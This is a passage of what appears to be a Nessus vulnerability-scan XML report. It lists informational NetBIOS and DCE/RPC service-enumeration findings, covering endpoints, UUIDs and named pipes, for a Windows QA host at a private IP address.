3328 <synopsis>It is possible to obtain the network name of the remote host.</synopsis>
3329 <plugin_output>The following 3 NetBIOS names have been gathered :
3330
3331 QA3APP09 = Computer name
3332 RB = Workgroup / Domain name
3333 QA3APP09 = File Server Service
3334
3335 The remote host has the following MAC address on its adapter :
3336
3337 00:50:56:81:01:e3</plugin_output>
3338 </ReportItem>
3339 <ReportItem port="49152" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
3340 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
3341 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
3342 <fname>dcetest.nasl</fname>
3343 <plugin_modification_date>2012/01/31</plugin_modification_date>
3344 <plugin_name>DCE Services Enumeration</plugin_name>
3345 <plugin_publication_date>2001/08/26</plugin_publication_date>
3346 <plugin_type>local</plugin_type>
3347 <risk_factor>None</risk_factor>
3348 <script_version>$Revision: 1.50 $</script_version>
3349 <solution>n/a</solution>
3350 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
3351 <plugin_output>
3352 The following DCERPC services are available on TCP port 49152 :
3353
3354 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
3355 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
3356 Description : Unknown RPC service
3357 Type : Remote RPC service
3358 TCP Port : 49152
3359 IP : 10.31.112.29
3360
3361 </plugin_output>
3362 </ReportItem>
3363 <ReportItem port="49153" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
3364 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
3365 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
3366 <fname>dcetest.nasl</fname>
3367 <plugin_modification_date>2012/01/31</plugin_modification_date>
3368 <plugin_name>DCE Services Enumeration</plugin_name>
3369 <plugin_publication_date>2001/08/26</plugin_publication_date>
3370 <plugin_type>local</plugin_type>
3371 <risk_factor>None</risk_factor>
3372 <script_version>$Revision: 1.50 $</script_version>
3373 <solution>n/a</solution>
3374 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
3375 <plugin_output>
3376 The following DCERPC services are available on TCP port 49153 :
3377
3378 Object UUID : 00000000-0000-0000-0000-000000000000
3379 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
3380 Description : DHCP Client Service
3381 Windows process : svchost.exe
3382 Annotation : DHCP Client LRPC Endpoint
3383 Type : Remote RPC service
3384 TCP Port : 49153
3385 IP : 10.31.112.29
3386
3387 Object UUID : 00000000-0000-0000-0000-000000000000
3388 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
3389 Description : Unknown RPC service
3390 Annotation : Event log TCPIP
3391 Type : Remote RPC service
3392 TCP Port : 49153
3393 IP : 10.31.112.29
3394
3395 Object UUID : 00000000-0000-0000-0000-000000000000
3396 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
3397 Description : Unknown RPC service
3398 Annotation : NRP server endpoint
3399 Type : Remote RPC service
3400 TCP Port : 49153
3401 IP : 10.31.112.29
3402
3403 Object UUID : 00000000-0000-0000-0000-000000000000
3404 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
3405 Description : Unknown RPC service
3406 Annotation : DHCPv6 Client LRPC Endpoint
3407 Type : Remote RPC service
3408 TCP Port : 49153
3409 IP : 10.31.112.29
3410
3411 </plugin_output>
3412 </ReportItem>
3413 <ReportItem port="49175" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
3414 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
3415 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
3416 <fname>dcetest.nasl</fname>
3417 <plugin_modification_date>2012/01/31</plugin_modification_date>
3418 <plugin_name>DCE Services Enumeration</plugin_name>
3419 <plugin_publication_date>2001/08/26</plugin_publication_date>
3420 <plugin_type>local</plugin_type>
3421 <risk_factor>None</risk_factor>
3422 <script_version>$Revision: 1.50 $</script_version>
3423 <solution>n/a</solution>
3424 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
3425 <plugin_output>
3426 The following DCERPC services are available on TCP port 49175 :
3427
3428 Object UUID : 00000000-0000-0000-0000-000000000000
3429 UUID : 6b5bdd1e-528c-422c-af8c-a4079be4fe48, version 1.0
3430 Description : Unknown RPC service
3431 Annotation : Remote Fw APIs
3432 Type : Remote RPC service
3433 TCP Port : 49175
3434 IP : 10.31.112.29
3435
3436 Object UUID : 00000000-0000-0000-0000-000000000000
3437 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
3438 Description : IPsec Services (Windows XP &amp; 2003)
3439 Windows process : lsass.exe
3440 Annotation : IPSec Policy agent endpoint
3441 Type : Remote RPC service
3442 TCP Port : 49175
3443 IP : 10.31.112.29
3444
3445 </plugin_output>
3446 </ReportItem>
3447 <ReportItem port="49173" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
3448 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
3449 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
3450 <fname>dcetest.nasl</fname>
3451 <plugin_modification_date>2012/01/31</plugin_modification_date>
3452 <plugin_name>DCE Services Enumeration</plugin_name>
3453 <plugin_publication_date>2001/08/26</plugin_publication_date>
3454 <plugin_type>local</plugin_type>
3455 <risk_factor>None</risk_factor>
3456 <script_version>$Revision: 1.50 $</script_version>
3457 <solution>n/a</solution>
3458 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
3459 <plugin_output>
3460 The following DCERPC services are available on TCP port 49173 :
3461
3462 Object UUID : 00000000-0000-0000-0000-000000000000
3463 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3464 Description : Security Account Manager
3465 Windows process : lsass.exe
3466 Type : Remote RPC service
3467 TCP Port : 49173
3468 IP : 10.31.112.29
3469
3470 </plugin_output>
3471 </ReportItem>
3472 <ReportItem port="49154" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
3473 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
3474 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
3475 <fname>dcetest.nasl</fname>
3476 <plugin_modification_date>2012/01/31</plugin_modification_date>
3477 <plugin_name>DCE Services Enumeration</plugin_name>
3478 <plugin_publication_date>2001/08/26</plugin_publication_date>
3479 <plugin_type>local</plugin_type>
3480 <risk_factor>None</risk_factor>
3481 <script_version>$Revision: 1.50 $</script_version>
3482 <solution>n/a</solution>
3483 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
3484 <plugin_output>
3485 The following DCERPC services are available on TCP port 49154 :
3486
3487 Object UUID : 00000000-0000-0000-0000-000000000000
3488 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
3489 Description : Unknown RPC service
3490 Type : Remote RPC service
3491 TCP Port : 49154
3492 IP : 10.31.112.29
3493
3494 Object UUID : 00000000-0000-0000-0000-000000000000
3495 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
3496 Description : Unknown RPC service
3497 Annotation : IKE/Authip API
3498 Type : Remote RPC service
3499 TCP Port : 49154
3500 IP : 10.31.112.29
3501
3502 Object UUID : 00000000-0000-0000-0000-000000000000
3503 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
3504 Description : Unknown RPC service
3505 Annotation : IP Transition Configuration endpoint
3506 Type : Remote RPC service
3507 TCP Port : 49154
3508 IP : 10.31.112.29
3509
3510 Object UUID : 00000000-0000-0000-0000-000000000000
3511 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
3512 Description : Unknown RPC service
3513 Annotation : XactSrv service
3514 Type : Remote RPC service
3515 TCP Port : 49154
3516 IP : 10.31.112.29
3517
3518 Object UUID : 73736573-6f69-656e-6e76-000000000000
3519 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
3520 Description : Unknown RPC service
3521 Annotation : Impl friendly name
3522 Type : Remote RPC service
3523 TCP Port : 49154
3524 IP : 10.31.112.29
3525
3526 Object UUID : 00000000-0000-0000-0000-000000000000
3527 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
3528 Description : Unknown RPC service
3529 Type : Remote RPC service
3530 TCP Port : 49154
3531 IP : 10.31.112.29
3532
3533 </plugin_output>
3534 </ReportItem>
3535 <ReportItem port="49174" svc_name="dce-rpc" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
3536 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
3537 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
3538 <fname>dcetest.nasl</fname>
3539 <plugin_modification_date>2012/01/31</plugin_modification_date>
3540 <plugin_name>DCE Services Enumeration</plugin_name>
3541 <plugin_publication_date>2001/08/26</plugin_publication_date>
3542 <plugin_type>local</plugin_type>
3543 <risk_factor>None</risk_factor>
3544 <script_version>$Revision: 1.50 $</script_version>
3545 <solution>n/a</solution>
3546 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
3547 <plugin_output>
3548 The following DCERPC services are available on TCP port 49174 :
3549
3550 Object UUID : 00000000-0000-0000-0000-000000000000
3551 UUID : 367abb81-9844-35f1-ad32-98f038001003, version 2.0
3552 Description : Unknown RPC service
3553 Type : Remote RPC service
3554 TCP Port : 49174
3555 IP : 10.31.112.29
3556
3557 </plugin_output>
3558 </ReportItem>
3559 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
3560 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
3561 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
3562 <fname>dcetest.nasl</fname>
3563 <plugin_modification_date>2012/01/31</plugin_modification_date>
3564 <plugin_name>DCE Services Enumeration</plugin_name>
3565 <plugin_publication_date>2001/08/26</plugin_publication_date>
3566 <plugin_type>local</plugin_type>
3567 <risk_factor>None</risk_factor>
3568 <script_version>$Revision: 1.50 $</script_version>
3569 <solution>n/a</solution>
3570 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
3571 <plugin_output>
3572 The following DCERPC services are available remotely :
3573
3574 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
3575 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
3576 Description : Unknown RPC service
3577 Type : Remote RPC service
3578 Named pipe : \PIPE\InitShutdown
3579 Netbios name : \\QA3APP09
3580
3581 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
3582 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
3583 Description : Unknown RPC service
3584 Type : Remote RPC service
3585 Named pipe : \PIPE\InitShutdown
3586 Netbios name : \\QA3APP09
3587
3588 Object UUID : 00000000-0000-0000-0000-000000000000
3589 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3590 Description : Security Account Manager
3591 Windows process : lsass.exe
3592 Type : Remote RPC service
3593 Named pipe : \pipe\lsass
3594 Netbios name : \\QA3APP09
3595
3596 Object UUID : 00000000-0000-0000-0000-000000000000
3597 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3598 Description : Security Account Manager
3599 Windows process : lsass.exe
3600 Type : Remote RPC service
3601 Named pipe : \PIPE\protected_storage
3602 Netbios name : \\QA3APP09
3603
3604 Object UUID : 00000000-0000-0000-0000-000000000000
3605 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
3606 Description : Unknown RPC service
3607 Annotation : WinHttp Auto-Proxy Service
3608 Type : Remote RPC service
3609 Named pipe : \PIPE\W32TIME_ALT
3610 Netbios name : \\QA3APP09
3611
3612 Object UUID : 00000000-0000-0000-0000-000000000000
3613 UUID : 1ff70682-0a51-30e8-076d-740be8cee98b, version 1.0
3614 Description : Scheduler Service
3615 Windows process : svchost.exe
3616 Type : Remote RPC service
3617 Named pipe : \PIPE\atsvc
3618 Netbios name : \\QA3APP09
3619
3620 Object UUID : 00000000-0000-0000-0000-000000000000
3621 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
3622 Description : Scheduler Service
3623 Windows process : svchost.exe
3624 Type : Remote RPC service
3625 Named pipe : \PIPE\atsvc
3626 Netbios name : \\QA3APP09
3627
3628 Object UUID : 00000000-0000-0000-0000-000000000000
3629 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
3630 Description : Unknown RPC service
3631 Type : Remote RPC service
3632 Named pipe : \PIPE\atsvc
3633 Netbios name : \\QA3APP09
3634
3635 Object UUID : 00000000-0000-0000-0000-000000000000
3636 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
3637 Description : Unknown RPC service
3638 Annotation : IKE/Authip API
3639 Type : Remote RPC service
3640 Named pipe : \PIPE\atsvc
3641 Netbios name : \\QA3APP09
3642
3643 Object UUID : 00000000-0000-0000-0000-000000000000
3644 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
3645 Description : Unknown RPC service
3646 Annotation : IP Transition Configuration endpoint
3647 Type : Remote RPC service
3648 Named pipe : \PIPE\atsvc
3649 Netbios name : \\QA3APP09
3650
3651 Object UUID : 00000000-0000-0000-0000-000000000000
3652 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
3653 Description : Unknown RPC service
3654 Annotation : XactSrv service
3655 Type : Remote RPC service
3656 Named pipe : \PIPE\atsvc
3657 Netbios name : \\QA3APP09
3658
3659 Object UUID : 73736573-6f69-656e-6e76-000000000000
3660 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
3661 Description : Unknown RPC service
3662 Annotation : Impl friendly name
3663 Type : Remote RPC service
3664 Named pipe : \PIPE\atsvc
3665 Netbios name : \\QA3APP09
3666
3667 Object UUID : 73736573-6f69-656e-6e76-000000000000
3668 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
3669 Description : Unknown RPC service
3670 Annotation : Impl friendly name
3671 Type : Remote RPC service
3672 Named pipe : \PIPE\srvsvc
3673 Netbios name : \\QA3APP09
3674
3675 Object UUID : 00000000-0000-0000-0000-000000000000
3676 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
3677 Description : Unknown RPC service
3678 Type : Remote RPC service
3679 Named pipe : \PIPE\atsvc
3680 Netbios name : \\QA3APP09
3681
3682 Object UUID : 00000000-0000-0000-0000-000000000000
3683 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
3684 Description : Unknown RPC service
3685 Type : Remote RPC service
3686 Named pipe : \PIPE\srvsvc
3687 Netbios name : \\QA3APP09
3688
3689 Object UUID : 00000000-0000-0000-0000-000000000000
3690 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
3691 Description : Unknown RPC service
3692 Annotation : Event log TCPIP
3693 Type : Remote RPC service
3694 Named pipe : \pipe\eventlog
3695 Netbios name : \\QA3APP09
3696
3697 Object UUID : 00000000-0000-0000-0000-000000000000
3698 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
3699 Description : Unknown RPC service
3700 Annotation : NRP server endpoint
3701 Type : Remote RPC service
3702 Named pipe : \pipe\eventlog
3703 Netbios name : \\QA3APP09
3704
3705 Object UUID : 00000000-0000-0000-0000-000000000000
3706 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
3707 Description : Unknown RPC service
3708 Annotation : DHCPv6 Client LRPC Endpoint
3709 Type : Remote RPC service
3710 Named pipe : \pipe\eventlog
3711 Netbios name : \\QA3APP09
3712
3713 Object UUID : 00000000-0000-0000-0000-000000000000
3714 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
3715 Description : DHCP Client Service
3716 Windows process : svchost.exe
3717 Annotation : DHCP Client LRPC Endpoint
3718 Type : Remote RPC service
3719 Named pipe : \pipe\eventlog
3720 Netbios name : \\QA3APP09
3721
3722 </plugin_output>
3723 </ReportItem>
3724 <ReportItem port="135" svc_name="epmap" protocol="tcp" severity="0" pluginID="10736" pluginName="DCE Services Enumeration" pluginFamily="Windows">
3725 <description>By sending a Lookup request to the portmapper (TCP 135 or epmapper PIPE) it was possible to enumerate the Distributed Computing Environment (DCE) services running on the remote port.
3726 Using this information it is possible to connect and bind to each service by sending an RPC request to the remote port/pipe.</description>
3727 <fname>dcetest.nasl</fname>
3728 <plugin_modification_date>2012/01/31</plugin_modification_date>
3729 <plugin_name>DCE Services Enumeration</plugin_name>
3730 <plugin_publication_date>2001/08/26</plugin_publication_date>
3731 <plugin_type>local</plugin_type>
3732 <risk_factor>None</risk_factor>
3733 <script_version>$Revision: 1.50 $</script_version>
3734 <solution>n/a</solution>
3735 <synopsis>A DCE/RPC service is running on the remote host.</synopsis>
3736 <plugin_output>
3737 The following DCERPC services are available locally :
3738
3739 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
3740 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
3741 Description : Unknown RPC service
3742 Type : Local RPC service
3743 Named pipe : WindowsShutdown
3744
3745 Object UUID : 765294ba-60bc-48b8-92e9-89fd77769d91
3746 UUID : d95afe70-a6d5-4259-822e-2c84da1ddb0d, version 1.0
3747 Description : Unknown RPC service
3748 Type : Local RPC service
3749 Named pipe : WMsgKRpc07E030
3750
3751 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
3752 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
3753 Description : Unknown RPC service
3754 Type : Local RPC service
3755 Named pipe : WindowsShutdown
3756
3757 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000000
3758 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
3759 Description : Unknown RPC service
3760 Type : Local RPC service
3761 Named pipe : WMsgKRpc07E030
3762
3763 Object UUID : 00000000-0000-0000-0000-000000000000
3764 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
3765 Description : DHCP Client Service
3766 Windows process : svchost.exe
3767 Annotation : DHCP Client LRPC Endpoint
3768 Type : Local RPC service
3769 Named pipe : dhcpcsvc
3770
3771 Object UUID : 00000000-0000-0000-0000-000000000000
3772 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
3773 Description : DHCP Client Service
3774 Windows process : svchost.exe
3775 Annotation : DHCP Client LRPC Endpoint
3776 Type : Local RPC service
3777 Named pipe : dhcpcsvc6
3778
3779 Object UUID : 3bdb59a0-d736-4d44-9074-c1ee00000001
3780 UUID : 24019106-a203-4642-b88d-82dae9158929, version 1.0
3781 Description : Unknown RPC service
3782 Type : Local RPC service
3783 Named pipe : LRPC-a3d204163ab8f1bd38
3784
3785 Object UUID : b08669ee-8cb5-43a5-a017-84fe00000001
3786 UUID : 76f226c3-ec14-4325-8a99-6a46348418af, version 1.0
3787 Description : Unknown RPC service
3788 Type : Local RPC service
3789 Named pipe : WMsgKRpc0387DC1
3790
3791 Object UUID : 6d726574-7273-0076-0000-000000000000
3792 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
3793 Description : Unknown RPC service
3794 Annotation : Impl friendly name
3795 Type : Local RPC service
3796 Named pipe : LRPC-2289a2c9caf5de05a0
3797
3798 Object UUID : 26780f03-9349-4d59-85fc-0a2da9179ba0
3799 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
3800 Description : Distributed Transaction Coordinator
3801 Windows process : msdtc.exe
3802 Type : Local RPC service
3803 Named pipe : LRPC-f6f951764b738fd7db
3804
3805 Object UUID : d26f0f81-7ba7-4a13-919e-42526c6a9f92
3806 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
3807 Description : Distributed Transaction Coordinator
3808 Windows process : msdtc.exe
3809 Type : Local RPC service
3810 Named pipe : LRPC-f6f951764b738fd7db
3811
3812 Object UUID : f8483b70-d48f-4924-9439-42573bdc6227
3813 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
3814 Description : Distributed Transaction Coordinator
3815 Windows process : msdtc.exe
3816 Type : Local RPC service
3817 Named pipe : LRPC-f6f951764b738fd7db
3818
3819 Object UUID : 2b618ee1-3945-4779-8a54-8478a4f20e14
3820 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
3821 Description : Distributed Transaction Coordinator
3822 Windows process : msdtc.exe
3823 Type : Local RPC service
3824 Named pipe : LRPC-f6f951764b738fd7db
3825
3826 Object UUID : 531341f7-81cb-48da-ac5c-fb5d93bdf208
3827 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
3828 Description : Distributed Transaction Coordinator
3829 Windows process : msdtc.exe
3830 Type : Local RPC service
3831 Named pipe : OLED523FADBF00A433F9744BF0D726C
3832
3833 Object UUID : 531341f7-81cb-48da-ac5c-fb5d93bdf208
3834 UUID : 906b0ce0-c70b-1067-b317-00dd010662da, version 1.0
3835 Description : Distributed Transaction Coordinator
3836 Windows process : msdtc.exe
3837 Type : Local RPC service
3838 Named pipe : LRPC-c20380b4232caf3c79
3839
3840 Object UUID : 00000000-0000-0000-0000-000000000000
3841 UUID : 12345678-1234-abcd-ef00-0123456789ab, version 1.0
3842 Description : IPsec Services (Windows XP &amp; 2003)
3843 Windows process : lsass.exe
3844 Annotation : IPSec Policy agent endpoint
3845 Type : Local RPC service
3846 Named pipe : LRPC-25f66b059e7337a520
3847
3848 Object UUID : 00000000-0000-0000-0000-000000000000
3849 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3850 Description : Security Account Manager
3851 Windows process : lsass.exe
3852 Type : Local RPC service
3853 Named pipe : LRPC-a1e7cd726e2a61e910
3854
3855 Object UUID : 00000000-0000-0000-0000-000000000000
3856 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3857 Description : Security Account Manager
3858 Windows process : lsass.exe
3859 Type : Local RPC service
3860 Named pipe : audit
3861
3862 Object UUID : 00000000-0000-0000-0000-000000000000
3863 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3864 Description : Security Account Manager
3865 Windows process : lsass.exe
3866 Type : Local RPC service
3867 Named pipe : securityevent
3868
3869 Object UUID : 00000000-0000-0000-0000-000000000000
3870 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3871 Description : Security Account Manager
3872 Windows process : lsass.exe
3873 Type : Local RPC service
3874 Named pipe : LSARPC_ENDPOINT
3875
3876 Object UUID : 00000000-0000-0000-0000-000000000000
3877 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3878 Description : Security Account Manager
3879 Windows process : lsass.exe
3880 Type : Local RPC service
3881 Named pipe : lsapolicylookup
3882
3883 Object UUID : 00000000-0000-0000-0000-000000000000
3884 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3885 Description : Security Account Manager
3886 Windows process : lsass.exe
3887 Type : Local RPC service
3888 Named pipe : lsasspirpc
3889
3890 Object UUID : 00000000-0000-0000-0000-000000000000
3891 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3892 Description : Security Account Manager
3893 Windows process : lsass.exe
3894 Type : Local RPC service
3895 Named pipe : protected_storage
3896
3897 Object UUID : 00000000-0000-0000-0000-000000000000
3898 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3899 Description : Security Account Manager
3900 Windows process : lsass.exe
3901 Type : Local RPC service
3902 Named pipe : dsrole
3903
3904 Object UUID : 00000000-0000-0000-0000-000000000000
3905 UUID : 12345778-1234-abcd-ef00-0123456789ac, version 1.0
3906 Description : Security Account Manager
3907 Windows process : lsass.exe
3908 Type : Local RPC service
3909 Named pipe : samss lpc
3910
3911 Object UUID : 00000000-0000-0000-0000-000000000000
3912 UUID : 0b6edbfa-4a24-4fc6-8a23-942b1eca65d1, version 1.0
3913 Description : Unknown RPC service
3914 Annotation : Spooler function endpoint
3915 Type : Local RPC service
3916 Named pipe : spoolss
3917
3918 Object UUID : 00000000-0000-0000-0000-000000000000
3919 UUID : ae33069b-a2a8-46ee-a235-ddfd339be281, version 1.0
3920 Description : Unknown RPC service
3921 Annotation : Spooler base remote object endpoint
3922 Type : Local RPC service
3923 Named pipe : spoolss
3924
3925 Object UUID : 00000000-0000-0000-0000-000000000000
3926 UUID : 4a452661-8290-4b36-8fbe-7f4093a94978, version 1.0
3927 Description : Unknown RPC service
3928 Annotation : Spooler function endpoint
3929 Type : Local RPC service
3930 Named pipe : spoolss
3931
3932 Object UUID : 00000000-0000-0000-0000-000000000000
3933 UUID : dd490425-5325-4565-b774-7e27d6c09c24, version 1.0
3934 Description : Unknown RPC service
3935 Annotation : Base Firewall Engine API
3936 Type : Local RPC service
3937 Named pipe : LRPC-5e16c501f1d608e7b9
3938
3939 Object UUID : 00000000-0000-0000-0000-000000000000
3940 UUID : 7f9d11bf-7fb9-436b-a812-b2d50c5d4c03, version 1.0
3941 Description : Unknown RPC service
3942 Annotation : Fw APIs
3943 Type : Local RPC service
3944 Named pipe : LRPC-5e16c501f1d608e7b9
3945
3946 Object UUID : 00000000-0000-0000-0000-000000000000
3947 UUID : 2fb92682-6599-42dc-ae13-bd2ca89bd11c, version 1.0
3948 Description : Unknown RPC service
3949 Annotation : Fw APIs
3950 Type : Local RPC service
3951 Named pipe : LRPC-5e16c501f1d608e7b9
3952
3953 Object UUID : 00000000-0000-0000-0000-000000000000
3954 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
3955 Description : Unknown RPC service
3956 Annotation : NSI server endpoint
3957 Type : Local RPC service
3958 Named pipe : OLE7C214445480D41C6AC1CEF30755B
3959
3960 Object UUID : 00000000-0000-0000-0000-000000000000
3961 UUID : 7ea70bcf-48af-4f6a-8968-6a440754d5fa, version 1.0
3962 Description : Unknown RPC service
3963 Annotation : NSI server endpoint
3964 Type : Local RPC service
3965 Named pipe : LRPC-bcad8b95fdb771ef46
3966
3967 Object UUID : 00000000-0000-0000-0000-000000000000
3968 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
3969 Description : Unknown RPC service
3970 Annotation : WinHttp Auto-Proxy Service
3971 Type : Local RPC service
3972 Named pipe : OLE7C214445480D41C6AC1CEF30755B
3973
3974 Object UUID : 00000000-0000-0000-0000-000000000000
3975 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
3976 Description : Unknown RPC service
3977 Annotation : WinHttp Auto-Proxy Service
3978 Type : Local RPC service
3979 Named pipe : LRPC-bcad8b95fdb771ef46
3980
3981 Object UUID : 00000000-0000-0000-0000-000000000000
3982 UUID : 3473dd4d-2e88-4006-9cba-22570909dd10, version 5.0
3983 Description : Unknown RPC service
3984 Annotation : WinHttp Auto-Proxy Service
3985 Type : Local RPC service
3986 Named pipe : W32TIME_ALT
3987
3988 Object UUID : 666f7270-6c69-7365-0000-000000000000
3989 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
3990 Description : Unknown RPC service
3991 Annotation : Impl friendly name
3992 Type : Local RPC service
3993 Named pipe : IUserProfile2
3994
3995 Object UUID : 6c637067-6569-746e-0000-000000000000
3996 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
3997 Description : Unknown RPC service
3998 Annotation : Impl friendly name
3999 Type : Local RPC service
4000 Named pipe : IUserProfile2
4001
4002 Object UUID : 24d1f7c7-76af-4f28-9ccd-7f6cb6468601
4003 UUID : 2eb08e3e-639f-4fba-97b1-14f878961076, version 1.0
4004 Description : Unknown RPC service
4005 Type : Local RPC service
4006 Named pipe : IUserProfile2
4007
4008 Object UUID : 736e6573-0000-0000-0000-000000000000
4009 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
4010 Description : Unknown RPC service
4011 Annotation : Impl friendly name
4012 Type : Local RPC service
4013 Named pipe : IUserProfile2
4014
4015 Object UUID : 736e6573-0000-0000-0000-000000000000
4016 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
4017 Description : Unknown RPC service
4018 Annotation : Impl friendly name
4019 Type : Local RPC service
4020 Named pipe : OLE0D7EC00E68984D2CAE3E8AB8D62C
4021
4022 Object UUID : 736e6573-0000-0000-0000-000000000000
4023 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
4024 Description : Unknown RPC service
4025 Annotation : Impl friendly name
4026 Type : Local RPC service
4027 Named pipe : senssvc
4028
4029 Object UUID : 00000000-0000-0000-0000-000000000000
4030 UUID : 0a74ef1c-41a4-4e06-83ae-dc74fb1cdd53, version 1.0
4031 Description : Scheduler Service
4032 Windows process : svchost.exe
4033 Type : Local RPC service
4034 Named pipe : IUserProfile2
4035
4036 Object UUID : 00000000-0000-0000-0000-000000000000
